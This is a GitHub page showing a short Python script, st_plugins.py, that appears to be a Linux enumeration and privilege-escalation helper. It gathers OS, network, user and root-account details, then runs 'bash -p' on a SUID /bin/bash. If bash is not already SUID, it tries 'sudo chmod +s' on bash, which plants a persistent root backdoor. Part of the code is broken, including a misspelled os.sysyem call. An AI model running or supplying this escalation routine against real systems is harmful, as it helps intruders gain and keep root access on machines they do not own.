Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
LEAP/st_plugins.py
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
executable file
42 lines (38 sloc)
1.15 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import platform | |
import socket | |
import os | |
def OsDiscovery(): | |
print("OS BASED INFO:\n") | |
release=platform.release() | |
os=platform.system() | |
version=platform.version() | |
print(f"System's version: {version}") | |
print(f"System's OS: {os}") | |
print(f"System's kernel: {release}") | |
print(f"System platform: {platform.processor()}") | |
print(f"System's network name: {platform.node()}") | |
print("\n") | |
def NetworkDiscovery(): | |
print ("NETWORKING INFO:\n") | |
#os.system("/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d'") | |
os.system("/sbin/ifconfig -a") | |
os.system("route") | |
print("\n") | |
def Users(): | |
print("USER INFO\n") | |
print(f"You are logged in as: ") | |
os.system("whoami") | |
print("\nUsefull info about the user:") | |
os.system("id") | |
print("\nSuperusers:") | |
os.system("grep -v -E '^#' /etc/passwd | awk -F: '$3 ==0{print $1}'") | |
def Bashcalation(): | |
ceva="-rwsr-sr-x" | |
os.system("ls -la ~/../../bin/bash > escalated.txt") | |
file=open("escalated.txt") | |
escal=file.read() | |
if ceva in escal: | |
os.system("exec ~/../../bin/bash -p") | |
else: | |
os.sysyem("sudo chmod +s ~/../../bin/bash | exec ~/../../bin/bash -p") |